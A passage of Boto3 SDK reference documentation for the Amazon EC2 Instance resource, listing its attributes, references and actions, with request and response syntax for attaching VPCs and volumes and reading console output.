value as the filter value. For example, to find all resources that have a tag with the key Owner and the value TeamA , specify tag:Owner for the filter name and TeamA for the filter value. + - tag-key - The key of a tag assigned to the resource. Use this filter to find all resources assigned a tag with a specific key, regardless of the tag value. + - virtualization-type - The virtualization type (paravirtual | hvm ). + + - _(dict) --_ + + A filter name and value pair that is used to return a more specific list of results from a describe operation. Filters can be used to match a set of resources by specific criteria, such as tags, attributes, or IDs. The filters supported by a describe operation are documented with the describe operation. For example: + + - DescribeAvailabilityZones + - DescribeImages + - DescribeInstances + - DescribeKeyPairs + - DescribeSecurityGroups + - DescribeSnapshots + - DescribeSubnets + - DescribeTags + - DescribeVolumes + - DescribeVpcs + + - **Name** _(string) --_ + + The name of the filter. Filter names are case-sensitive. + + - **Values** _(list) --_ + + The filter values. Filter values are case-sensitive. + + - _(string) --_ +- **Owners** (_list_) -- + + Scopes the results to images with the specified owners. You can specify a combination of AWS account IDs, self , amazon , and aws-marketplace . If you omit this parameter, the results include all images for which you have launch permissions, regardless of ownership. + + - _(string) --_ +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Returns + +None + +[Instance](#id1240) +-------------------------------------------------------------- + +_class_ EC2.Instance(_id_) + +A resource representing an Amazon Elastic Compute Cloud (EC2) Instance: + +import boto3 + +ec2 = boto3.resource('ec2') +instance = ec2.Instance('id') + +Parameters + +**id** (_string_) -- The Instance's id identifier. This **must** be set. + +These are the resource's available identifiers: + +- [id](#EC2.Instance.id "EC2.Instance.id") + +These are the resource's available attributes: + +- [ami_launch_index](#EC2.Instance.ami_launch_index "EC2.Instance.ami_launch_index") +- [architecture](#EC2.Instance.architecture "EC2.Instance.architecture") +- [block_device_mappings](#EC2.Instance.block_device_mappings "EC2.Instance.block_device_mappings") +- [capacity_reservation_id](#EC2.Instance.capacity_reservation_id "EC2.Instance.capacity_reservation_id") +- [capacity_reservation_specification](#EC2.Instance.capacity_reservation_specification "EC2.Instance.capacity_reservation_specification") +- [client_token](#EC2.Instance.client_token "EC2.Instance.client_token") +- [cpu_options](#EC2.Instance.cpu_options "EC2.Instance.cpu_options") +- [ebs_optimized](#EC2.Instance.ebs_optimized "EC2.Instance.ebs_optimized") +- [elastic_gpu_associations](#EC2.Instance.elastic_gpu_associations "EC2.Instance.elastic_gpu_associations") +- [elastic_inference_accelerator_associations](#EC2.Instance.elastic_inference_accelerator_associations "EC2.Instance.elastic_inference_accelerator_associations") +- [ena_support](#EC2.Instance.ena_support "EC2.Instance.ena_support") +- [enclave_options](#EC2.Instance.enclave_options "EC2.Instance.enclave_options") +- [hibernation_options](#EC2.Instance.hibernation_options "EC2.Instance.hibernation_options") +- [hypervisor](#EC2.Instance.hypervisor "EC2.Instance.hypervisor") +- [iam_instance_profile](#EC2.Instance.iam_instance_profile "EC2.Instance.iam_instance_profile") +- [image_id](#EC2.Instance.image_id "EC2.Instance.image_id") +- [instance_id](#EC2.Instance.instance_id "EC2.Instance.instance_id") +- [instance_lifecycle](#EC2.Instance.instance_lifecycle "EC2.Instance.instance_lifecycle") +- [instance_type](#EC2.Instance.instance_type "EC2.Instance.instance_type") +- [kernel_id](#EC2.Instance.kernel_id "EC2.Instance.kernel_id") +- [key_name](#EC2.Instance.key_name "EC2.Instance.key_name") +- [launch_time](#EC2.Instance.launch_time "EC2.Instance.launch_time") +- [licenses](#EC2.Instance.licenses "EC2.Instance.licenses") +- [metadata_options](#EC2.Instance.metadata_options "EC2.Instance.metadata_options") +- [monitoring](#EC2.Instance.monitoring "EC2.Instance.monitoring") +- [network_interfaces_attribute](#EC2.Instance.network_interfaces_attribute "EC2.Instance.network_interfaces_attribute") +- [outpost_arn](#EC2.Instance.outpost_arn "EC2.Instance.outpost_arn") +- [placement](#EC2.Instance.placement "EC2.Instance.placement") +- [platform](#EC2.Instance.platform "EC2.Instance.platform") +- [private_dns_name](#EC2.Instance.private_dns_name "EC2.Instance.private_dns_name") +- [private_ip_address](#EC2.Instance.private_ip_address "EC2.Instance.private_ip_address") +- [product_codes](#EC2.Instance.product_codes "EC2.Instance.product_codes") +- [public_dns_name](#EC2.Instance.public_dns_name "EC2.Instance.public_dns_name") +- [public_ip_address](#EC2.Instance.public_ip_address "EC2.Instance.public_ip_address") +- [ramdisk_id](#EC2.Instance.ramdisk_id "EC2.Instance.ramdisk_id") +- [root_device_name](#EC2.Instance.root_device_name "EC2.Instance.root_device_name") +- [root_device_type](#EC2.Instance.root_device_type "EC2.Instance.root_device_type") +- [security_groups](#EC2.Instance.security_groups "EC2.Instance.security_groups") +- [source_dest_check](#EC2.Instance.source_dest_check "EC2.Instance.source_dest_check") +- [spot_instance_request_id](#EC2.Instance.spot_instance_request_id "EC2.Instance.spot_instance_request_id") +- [sriov_net_support](#EC2.Instance.sriov_net_support "EC2.Instance.sriov_net_support") +- [state](#EC2.Instance.state "EC2.Instance.state") +- [state_reason](#EC2.Instance.state_reason "EC2.Instance.state_reason") +- [state_transition_reason](#EC2.Instance.state_transition_reason "EC2.Instance.state_transition_reason") +- [subnet_id](#EC2.Instance.subnet_id "EC2.Instance.subnet_id") +- [tags](#EC2.Instance.tags "EC2.Instance.tags") +- [virtualization_type](#EC2.Instance.virtualization_type "EC2.Instance.virtualization_type") +- [vpc_id](#EC2.Instance.vpc_id "EC2.Instance.vpc_id") + +These are the resource's available references: + +- [classic_address](#EC2.Instance.classic_address "EC2.Instance.classic_address") +- [image](#EC2.Instance.image "EC2.Instance.image") +- [key_pair](#EC2.Instance.key_pair "EC2.Instance.key_pair") +- [network_interfaces](#EC2.Instance.network_interfaces "EC2.Instance.network_interfaces") +- [placement_group](#EC2.Instance.placement_group "EC2.Instance.placement_group") +- [subnet](#EC2.Instance.subnet "EC2.Instance.subnet") +- [vpc](#EC2.Instance.vpc "EC2.Instance.vpc") + +These are the resource's available actions: + +- [attach_classic_link_vpc()](#EC2.Instance.attach_classic_link_vpc "EC2.Instance.attach_classic_link_vpc") +- [attach_volume()](#EC2.Instance.attach_volume "EC2.Instance.attach_volume") +- [console_output()](#EC2.Instance.console_output "EC2.Instance.console_output") +- [create_image()](#EC2.Instance.create_image "EC2.Instance.create_image") +- [create_tags()](#EC2.Instance.create_tags "EC2.Instance.create_tags") +- [delete_tags()](#EC2.Instance.delete_tags "EC2.Instance.delete_tags") +- [describe_attribute()](#EC2.Instance.describe_attribute "EC2.Instance.describe_attribute") +- [detach_classic_link_vpc()](#EC2.Instance.detach_classic_link_vpc "EC2.Instance.detach_classic_link_vpc") +- [detach_volume()](#EC2.Instance.detach_volume "EC2.Instance.detach_volume") +- [get_available_subresources()](#EC2.Instance.get_available_subresources "EC2.Instance.get_available_subresources") +- [load()](#EC2.Instance.load "EC2.Instance.load") +- [modify_attribute()](#EC2.Instance.modify_attribute "EC2.Instance.modify_attribute") +- [monitor()](#EC2.Instance.monitor "EC2.Instance.monitor") +- [password_data()](#EC2.Instance.password_data "EC2.Instance.password_data") +- [reboot()](#EC2.Instance.reboot "EC2.Instance.reboot") +- [reload()](#EC2.Instance.reload "EC2.Instance.reload") +- [report_status()](#EC2.Instance.report_status "EC2.Instance.report_status") +- [reset_attribute()](#EC2.Instance.reset_attribute "EC2.Instance.reset_attribute") +- [reset_kernel()](#EC2.Instance.reset_kernel "EC2.Instance.reset_kernel") +- [reset_ramdisk()](#EC2.Instance.reset_ramdisk "EC2.Instance.reset_ramdisk") +- [reset_source_dest_check()](#EC2.Instance.reset_source_dest_check "EC2.Instance.reset_source_dest_check") +- [start()](#EC2.Instance.start "EC2.Instance.start") +- [stop()](#EC2.Instance.stop "EC2.Instance.stop") +- [terminate()](#EC2.Instance.terminate "EC2.Instance.terminate") +- [unmonitor()](#EC2.Instance.unmonitor "EC2.Instance.unmonitor") + +These are the resource's available collections: + +- [volumes](#EC2.Instance.volumes "EC2.Instance.volumes") +- [vpc_addresses](#EC2.Instance.vpc_addresses "EC2.Instance.vpc_addresses") + +These are the resource's available waiters: + +- [wait_until_exists()](#EC2.Instance.wait_until_exists "EC2.Instance.wait_until_exists") +- [wait_until_running()](#EC2.Instance.wait_until_running "EC2.Instance.wait_until_running") +- [wait_until_stopped()](#EC2.Instance.wait_until_stopped "EC2.Instance.wait_until_stopped") +- [wait_until_terminated()](#EC2.Instance.wait_until_terminated "EC2.Instance.wait_until_terminated") + +Identifiers + +Identifiers are properties of a resource that are set upon instantiation of the resource. For more information about identifiers refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +id + +_(string)_ The Instance's id identifier. This **must** be set. + +Attributes + +Attributes provide access to the properties of a resource. Attributes are lazy-loaded the first time one is accessed via the [load()](#EC2.Instance.load "EC2.Instance.load") method. For more information about attributes refer to the [_Resources Introduction Guide_](../../guide/resources.html#identifiers-attributes-intro). + +ami_launch_index + +- _(integer) --_ + + The AMI launch index, which can be used to find this instance in the launch group. + + +architecture + +- _(string) --_ + + The architecture of the image. + + +block_device_mappings + +- _(list) --_ + + Any block device mapping entries for the instance. + + - _(dict) --_ + + Describes a block device mapping. + + - **DeviceName** _(string) --_ + + The device name (for example, /dev/sdh or xvdh ). + + - **Ebs** _(dict) --_ + + Parameters used to automatically set up EBS volumes when the instance is launched. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the volume is deleted on instance termination. + + - **Status** _(string) --_ + + The attachment state. + + - **VolumeId** _(string) --_ + + The ID of the EBS volume. + + +capacity_reservation_id + +- _(string) --_ + + The ID of the Capacity Reservation. + + +capacity_reservation_specification + +- _(dict) --_ + + Information about the Capacity Reservation targeting option. + + - **CapacityReservationPreference** _(string) --_ + + Describes the instance's Capacity Reservation preferences. Possible preferences include: + + - open - The instance can run in any open Capacity Reservation that has matching attributes (instance type, platform, Availability Zone). + - none - The instance avoids running in a Capacity Reservation even if one is available. The instance runs in On-Demand capacity. + - **CapacityReservationTarget** _(dict) --_ + + Information about the targeted Capacity Reservation or Capacity Reservation group. + + - **CapacityReservationId** _(string) --_ + + The ID of the targeted Capacity Reservation. + + - **CapacityReservationResourceGroupArn** _(string) --_ + + The ARN of the targeted Capacity Reservation group. + + +client_token + +- _(string) --_ + + The idempotency token you provided when you launched the instance, if applicable. + + +cpu_options + +- _(dict) --_ + + The CPU options for the instance. + + - **CoreCount** _(integer) --_ + + The number of CPU cores for the instance. + + - **ThreadsPerCore** _(integer) --_ + + The number of threads per CPU core. + + +ebs_optimized + +- _(boolean) --_ + + Indicates whether the instance is optimized for Amazon EBS I/O. This optimization provides dedicated throughput to Amazon EBS and an optimized configuration stack to provide optimal I/O performance. This optimization isn't available with all instance types. Additional usage charges apply when using an EBS Optimized instance. + + +elastic_gpu_associations + +- _(list) --_ + + The Elastic GPU associated with the instance. + + - _(dict) --_ + + Describes the association between an instance and an Elastic Graphics accelerator. + + - **ElasticGpuId** _(string) --_ + + The ID of the Elastic Graphics accelerator. + + - **ElasticGpuAssociationId** _(string) --_ + + The ID of the association. + + - **ElasticGpuAssociationState** _(string) --_ + + The state of the association between the instance and the Elastic Graphics accelerator. + + - **ElasticGpuAssociationTime** _(string) --_ + + The time the Elastic Graphics accelerator was associated with the instance. + + +elastic_inference_accelerator_associations + +- _(list) --_ + + The elastic inference accelerator associated with the instance. + + - _(dict) --_ + + Describes the association between an instance and an elastic inference accelerator. + + - **ElasticInferenceAcceleratorArn** _(string) --_ + + The Amazon Resource Name (ARN) of the elastic inference accelerator. + + - **ElasticInferenceAcceleratorAssociationId** _(string) --_ + + The ID of the association. + + - **ElasticInferenceAcceleratorAssociationState** _(string) --_ + + The state of the elastic inference accelerator. + + - **ElasticInferenceAcceleratorAssociationTime** _(datetime) --_ + + The time at which the elastic inference accelerator is associated with an instance. + + +ena_support + +- _(boolean) --_ + + Specifies whether enhanced networking with ENA is enabled. + + +enclave_options + +- _(dict) --_ + + Indicates whether the instance is enabled for AWS Nitro Enclaves. + + - **Enabled** _(boolean) --_ + + If this parameter is set to true , the instance is enabled for AWS Nitro Enclaves; otherwise, it is not enabled for AWS Nitro Enclaves. + + +hibernation_options + +- _(dict) --_ + + Indicates whether the instance is enabled for hibernation. + + - **Configured** _(boolean) --_ + + If this parameter is set to true , your instance is enabled for hibernation; otherwise, it is not enabled for hibernation. + + +hypervisor + +- _(string) --_ + + The hypervisor type of the instance. The value xen is used for both Xen and Nitro hypervisors. + + +iam_instance_profile + +- _(dict) --_ + + The IAM instance profile associated with the instance, if applicable. + + - **Arn** _(string) --_ + + The Amazon Resource Name (ARN) of the instance profile. + + - **Id** _(string) --_ + + The ID of the instance profile. + + +image_id + +- _(string) --_ + + The ID of the AMI used to launch the instance. + + +instance_id + +- _(string) --_ + + The ID of the instance. + + +instance_lifecycle + +- _(string) --_ + + Indicates whether this is a Spot Instance or a Scheduled Instance. + + +instance_type + +- _(string) --_ + + The instance type. + + +kernel_id + +- _(string) --_ + + The kernel associated with this instance, if applicable. + + +key_name + +- _(string) --_ + + The name of the key pair, if this instance was launched with an associated key pair. + + +launch_time + +- _(datetime) --_ + + The time the instance was launched. + + +licenses + +- _(list) --_ + + The license configurations. + + - _(dict) --_ + + Describes a license configuration. + + - **LicenseConfigurationArn** _(string) --_ + + The Amazon Resource Name (ARN) of the license configuration. + + +metadata_options + +- _(dict) --_ + + The metadata options for the instance. + + - **State** _(string) --_ + + The state of the metadata option changes. + + > pending - The metadata options are being updated and the instance is not ready to process metadata traffic with the new selection. + > + > applied - The metadata options have been successfully applied on the instance. + + - **HttpTokens** _(string) --_ + + The state of token usage for your instance metadata requests. If the parameter is not specified in the request, the default state is optional . + + If the state is optional , you can choose to retrieve instance metadata with or without a signed token header on your request. If you retrieve the IAM role credentials without a token, the version 1.0 role credentials are returned. If you retrieve the IAM role credentials using a valid signed token, the version 2.0 role credentials are returned. + + If the state is required , you must send a signed token header with any instance metadata retrieval requests. In this state, retrieving the IAM role credential always returns the version 2.0 credentials; the version 1.0 credentials are not available. + + - **HttpPutResponseHopLimit** _(integer) --_ + + The desired HTTP PUT response hop limit for instance metadata requests. The larger the number, the further instance metadata requests can travel. + + Default: 1 + + Possible values: Integers from 1 to 64 + + - **HttpEndpoint** _(string) --_ + + This parameter enables or disables the HTTP metadata endpoint on your instances. If the parameter is not specified, the default state is enabled . + + Note + + If you specify a value of disabled , you will not be able to access your instance metadata. + + +monitoring + +- _(dict) --_ + + The monitoring for the instance. + + - **State** _(string) --_ + + Indicates whether detailed monitoring is enabled. Otherwise, basic monitoring is enabled. + + +network_interfaces_attribute + +- _(list) --_ + + [EC2-VPC] The network interfaces for the instance. + + - _(dict) --_ + + Describes a network interface. + + - **Association** _(dict) --_ + + The association information for an Elastic IPv4 associated with the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + - **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + - **Attachment** _(dict) --_ + + The network interface attachment. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **AttachmentId** _(string) --_ + + The ID of the network interface attachment. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the network interface is deleted when the instance is terminated. + + - **DeviceIndex** _(integer) --_ + + The index of the device on the instance for the network interface attachment. + + - **Status** _(string) --_ + + The attachment state. + + - **NetworkCardIndex** _(integer) --_ + + The index of the network card. + + - **Description** _(string) --_ + + The description. + + - **Groups** _(list) --_ + + One or more security groups. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + - **Ipv6Addresses** _(list) --_ + + One or more IPv6 addresses associated with the network interface. + + - _(dict) --_ + + Describes an IPv6 address. + + - **Ipv6Address** _(string) --_ + + The IPv6 address. + + - **MacAddress** _(string) --_ + + The MAC address. + + - **NetworkInterfaceId** _(string) --_ + + The ID of the network interface. + + - **OwnerId** _(string) --_ + + The ID of the AWS account that created the network interface. + + - **PrivateDnsName** _(string) --_ + + The private DNS name. + + - **PrivateIpAddress** _(string) --_ + + The IPv4 address of the network interface within the subnet. + + - **PrivateIpAddresses** _(list) --_ + + One or more private IPv4 addresses associated with the network interface. + + - _(dict) --_ + + Describes a private IPv4 address. + + - **Association** _(dict) --_ + + The association information for an Elastic IP address for the network interface. + + - **CarrierIp** _(string) --_ + + The carrier IP address associated with the network interface. + + - **IpOwnerId** _(string) --_ + + The ID of the owner of the Elastic IP address. + + - **PublicDnsName** _(string) --_ + + The public DNS name. + + - **PublicIp** _(string) --_ + + The public IP address or Elastic IP address bound to the network interface. + + - **Primary** _(boolean) --_ + + Indicates whether this IPv4 address is the primary private IP address of the network interface. + + - **PrivateDnsName** _(string) --_ + + The private IPv4 DNS name. + + - **PrivateIpAddress** _(string) --_ + + The private IPv4 address of the network interface. + + - **SourceDestCheck** _(boolean) --_ + + Indicates whether to validate network traffic to or from this network interface. + + - **Status** _(string) --_ + + The status of the network interface. + + - **SubnetId** _(string) --_ + + The ID of the subnet. + + - **VpcId** _(string) --_ + + The ID of the VPC. + + - **InterfaceType** _(string) --_ + + Describes the type of network interface. + + Valid values: interface | efa + + +outpost_arn + +- _(string) --_ + + The Amazon Resource Name (ARN) of the Outpost. + + +placement + +- _(dict) --_ + + The location where the instance launched, if applicable. + + - **AvailabilityZone** _(string) --_ + + The Availability Zone of the instance. + + If not specified, an Availability Zone will be automatically chosen for you based on the load balancing criteria for the Region. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Affinity** _(string) --_ + + The affinity setting for the instance on the Dedicated Host. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **GroupName** _(string) --_ + + The name of the placement group the instance is in. + + - **PartitionNumber** _(integer) --_ + + The number of the partition the instance is in. Valid only if the placement group strategy is set to partition . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostId** _(string) --_ + + The ID of the Dedicated Host on which the instance resides. This parameter is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **Tenancy** _(string) --_ + + The tenancy of the instance (if the instance is running in a VPC). An instance with a tenancy of dedicated runs on single-tenant hardware. The host tenancy is not supported for the [ImportInstance](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_ImportInstance.html) command. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **SpreadDomain** _(string) --_ + + Reserved for future use. + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + - **HostResourceGroupArn** _(string) --_ + + The ARN of the host resource group in which to launch the instances. If you specify a host resource group ARN, omit the **Tenancy** parameter or set it to host . + + This parameter is not supported by [CreateFleet](https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_CreateFleet) . + + +platform + +- _(string) --_ + + The value is Windows for Windows instances; otherwise blank. + + +private_dns_name + +- _(string) --_ + + (IPv4 only) The private DNS hostname name assigned to the instance. This DNS hostname can only be used inside the Amazon EC2 network. This name is not available until the instance enters the running state. + + [EC2-VPC] The Amazon-provided DNS server resolves Amazon-provided private DNS hostnames if you've enabled DNS resolution and DNS hostnames in your VPC. If you are not using the Amazon-provided DNS server in your VPC, your custom domain name servers must resolve the hostname as appropriate. + + +private_ip_address + +- _(string) --_ + + The private IPv4 address assigned to the instance. + + +product_codes + +- _(list) --_ + + The product codes attached to this instance, if applicable. + + - _(dict) --_ + + Describes a product code. + + - **ProductCodeId** _(string) --_ + + The product code. + + - **ProductCodeType** _(string) --_ + + The type of product code. + + +public_dns_name + +- _(string) --_ + + (IPv4 only) The public DNS name assigned to the instance. This name is not available until the instance enters the running state. For EC2-VPC, this name is only available if you've enabled DNS hostnames for your VPC. + + +public_ip_address + +- _(string) --_ + + The public IPv4 address, or the Carrier IP address assigned to the instance, if applicable. + + A Carrier IP address only applies to an instance launched in a subnet associated with a Wavelength Zone. + + +ramdisk_id + +- _(string) --_ + + The RAM disk associated with this instance, if applicable. + + +root_device_name + +- _(string) --_ + + The device name of the root device volume (for example, /dev/sda1 ). + + +root_device_type + +- _(string) --_ + + The root device type used by the AMI. The AMI can use an EBS volume or an instance store volume. + + +security_groups + +- _(list) --_ + + The security groups for the instance. + + - _(dict) --_ + + Describes a security group. + + - **GroupName** _(string) --_ + + The name of the security group. + + - **GroupId** _(string) --_ + + The ID of the security group. + + +source_dest_check + +- _(boolean) --_ + + Specifies whether to enable an instance launched in a VPC to perform NAT. This controls whether source/destination checking is enabled on the instance. A value of true means that checking is enabled, and false means that checking is disabled. The value must be false for the instance to perform NAT. For more information, see [NAT Instances](https://docs.aws.amazon.com/AmazonVPC/latest/UserGuide/VPC_NAT_Instance.html) in the _Amazon Virtual Private Cloud User Guide_ . + + +spot_instance_request_id + +- _(string) --_ + + If the request is a Spot Instance request, the ID of the request. + + +sriov_net_support + +- _(string) --_ + + Specifies whether enhanced networking with the Intel 82599 Virtual Function interface is enabled. + + +state + +- _(dict) --_ + + The current state of the instance. + + - **Code** _(integer) --_ + + The state of the instance as a 16-bit unsigned integer. + + The high byte is all of the bits between 2^8 and (2^16)-1, which equals decimal values between 256 and 65,535. These numerical values are used for internal purposes and should be ignored. + + The low byte is all of the bits between 2^0 and (2^8)-1, which equals decimal values between 0 and 255. + + The valid values for instance-state-code will all be in the range of the low byte and they are: + + - 0 : pending + - 16 : running + - 32 : shutting-down + - 48 : terminated + - 64 : stopping + - 80 : stopped + + You can ignore the high byte value by zeroing out all of the bits above 2^8 or 256 in decimal. + + - **Name** _(string) --_ + + The current state of the instance. + + +state_reason + +- _(dict) --_ + + The reason for the most recent state transition. + + - **Code** _(string) --_ + + The reason code for the state change. + + - **Message** _(string) --_ + + The message for the state change. + + - Server.InsufficientInstanceCapacity : There was insufficient capacity available to satisfy the launch request. + - Server.InternalError : An internal error caused the instance to terminate during launch. + - Server.ScheduledStop : The instance was stopped due to a scheduled retirement. + - Server.SpotInstanceShutdown : The instance was stopped because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Server.SpotInstanceTermination : The instance was terminated because the number of Spot requests with a maximum price equal to or higher than the Spot price exceeded available capacity or because of an increase in the Spot price. + - Client.InstanceInitiatedShutdown : The instance was shut down using the shutdown -h command from the instance. + - Client.InstanceTerminated : The instance was terminated or rebooted during AMI creation. + - Client.InternalError : A client error caused the instance to terminate during launch. + - Client.InvalidSnapshot.NotFound : The specified snapshot was not found. + - Client.UserInitiatedHibernate : Hibernation was initiated on the instance. + - Client.UserInitiatedShutdown : The instance was shut down using the Amazon EC2 API. + - Client.VolumeLimitExceeded : The limit on the number of EBS volumes or total storage was exceeded. Decrease usage or request an increase in your account limits. + +state_transition_reason + +- _(string) --_ + + The reason for the most recent state transition. This might be an empty string. + + +subnet_id + +- _(string) --_ + + [EC2-VPC] The ID of the subnet in which the instance is running. + + +tags + +- _(list) --_ + + Any tags assigned to the instance. + + - _(dict) --_ + + Describes a tag. + + - **Key** _(string) --_ + + The key of the tag. + + Constraints: Tag keys are case-sensitive and accept a maximum of 127 Unicode characters. May not begin with aws: . + + - **Value** _(string) --_ + + The value of the tag. + + Constraints: Tag values are case-sensitive and accept a maximum of 255 Unicode characters. + + +virtualization_type + +- _(string) --_ + + The virtualization type of the instance. + + +vpc_id + +- _(string) --_ + + [EC2-VPC] The ID of the VPC in which the instance is running. + + +References + +References are related resource instances that have a belongs-to relationship. For more information about references refer to the [_Resources Introduction Guide_](../../guide/resources.html#references-intro). + +classic_address + +(ClassicAddress) The related classic_address if set, otherwise None. + +image + +(Image) The related image if set, otherwise None. + +key_pair + +(KeyPairInfo) The related key_pair if set, otherwise None. + +network_interfaces + +(NetworkInterface) The related network_interfaces if set, otherwise None. + +placement_group + +(PlacementGroup) The related placement_group if set, otherwise None. + +subnet + +(Subnet) The related subnet if set, otherwise None. + +vpc + +(Vpc) The related vpc if set, otherwise None. + +Actions + +Actions call operations on resources. They may automatically handle the passing in of arguments set from identifiers and some attributes. For more information about actions refer to the [_Resources Introduction Guide_](../../guide/resources.html#actions-intro). + +attach_classic_link_vpc(kwargs_) + +Links an EC2-Classic instance to a ClassicLink-enabled VPC through one or more of the VPC's security groups. You cannot link an EC2-Classic instance to more than one VPC at a time. You can only link an instance that's in the running state. An instance is automatically unlinked from a VPC when it's stopped - you can link it to the VPC again when you restart it. + +After you've linked an instance, you cannot change the VPC security groups that are associated with it. To change the security groups, you must first unlink the instance, and then link it again. + +Linking your instance to a VPC is sometimes referred to as _attaching_ your instance. + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachClassicLinkVpc) + +**Request Syntax** + +response = instance.attach_classic_link_vpc( + DryRun=True|False, + Groups=[ + 'string', + ], + VpcId='string' +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Groups** (_list_) -- + + **[REQUIRED]** + + The ID of one or more of the VPC's security groups. You cannot specify security groups from a different VPC. + + - _(string) --_ +- **VpcId** (_string_) -- + + **[REQUIRED]** + + The ID of a ClassicLink-enabled VPC. + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'Return': True|False +} + +**Response Structure** + +- _(dict) --_ + + - **Return** _(boolean) --_ + + Returns true if the request succeeds; otherwise, it returns an error. + + +attach_volume(kwargs_) + +Attaches an EBS volume to a running or stopped instance and exposes it to the instance with the specified device name. + +Encrypted EBS volumes must be attached to instances that support Amazon EBS encryption. For more information, see [Amazon EBS encryption](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/EBSEncryption.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +After you attach an EBS volume, you must make it available. For more information, see [Making an EBS volume available for use](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-using-volumes.html) . + +If a volume has an AWS Marketplace product code: + +- The volume can be attached only to a stopped instance. +- AWS Marketplace product codes are copied from the volume to the instance. +- You must be subscribed to the product. +- The instance type and operating system of the instance must support the product. For example, you can't detach a volume from a Windows instance and attach it to a Linux instance. + +For more information, see [Attaching Amazon EBS volumes](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ebs-attaching-volume.html) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/AttachVolume) + +**Request Syntax** + +response = instance.attach_volume( + Device='string', + VolumeId='string', + DryRun=True|False +) + +Parameters + +- **Device** (_string_) -- + + **[REQUIRED]** + + The device name (for example, /dev/sdh or xvdh ). + +- **VolumeId** (_string_) -- + + **[REQUIRED]** + + The ID of the EBS volume. The volume and instance must be within the same Availability Zone. + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'AttachTime': datetime(2015, 1, 1), + 'Device': 'string', + 'InstanceId': 'string', + 'State': 'attaching'|'attached'|'detaching'|'detached'|'busy', + 'VolumeId': 'string', + 'DeleteOnTermination': True|False +} + +**Response Structure** + +- _(dict) --_ + + Describes volume attachment details. + + - **AttachTime** _(datetime) --_ + + The time stamp when the attachment initiated. + + - **Device** _(string) --_ + + The device name. + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **State** _(string) --_ + + The attachment state of the volume. + + - **VolumeId** _(string) --_ + + The ID of the volume. + + - **DeleteOnTermination** _(boolean) --_ + + Indicates whether the EBS volume is deleted on instance termination. + + +console_output(kwargs_) + +Gets the console output for the specified instance. For Linux instances, the instance console output displays the exact console output that would normally be displayed on a physical monitor attached to a computer. For Windows instances, the instance console output includes the last three system event log errors. + +By default, the console output returns buffered information that was posted shortly after an instance transition state (start, stop, reboot, or terminate). This information is available for at least one hour after the most recent post. Only the most recent 64 KB of console output is available. + +You can optionally retrieve the latest serial console output at any time during the instance lifecycle. This option is supported on instance types that use the Nitro hypervisor. + +For more information, see [Instance Console Output](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-console.html#instance-console-console-output) in the _Amazon Elastic Compute Cloud User Guide_ . + +See also: [AWS API Documentation](https://docs.aws.amazon.com/goto/WebAPI/ec2-2016-11-15/GetConsoleOutput) + +**Request Syntax** + +response = instance.console_output( + DryRun=True|False, + Latest=True|False +) + +Parameters + +- **DryRun** (_boolean_) -- Checks whether you have the required permissions for the action, without actually making the request, and provides an error response. If you have the required permissions, the error response is DryRunOperation . Otherwise, it is UnauthorizedOperation . +- **Latest** (_boolean_) -- + + When enabled, retrieves the latest console output for the instance. + + Default: disabled (false ) + + +Return type + +dict + +Returns + +**Response Syntax** + +{ + 'InstanceId': 'string', + 'Output': 'string', + 'Timestamp': datetime(2015, 1, 1) +} + +**Response Structure** + +- _(dict) --_ + + - **InstanceId** _(string) --_ + + The ID of the instance. + + - **Output** _(string) --_ + + The console output, base64-encoded. If you are using a command line tool, the tool decodes the output for you. + + - **Timestamp** _(datetime) --_ + + The time at 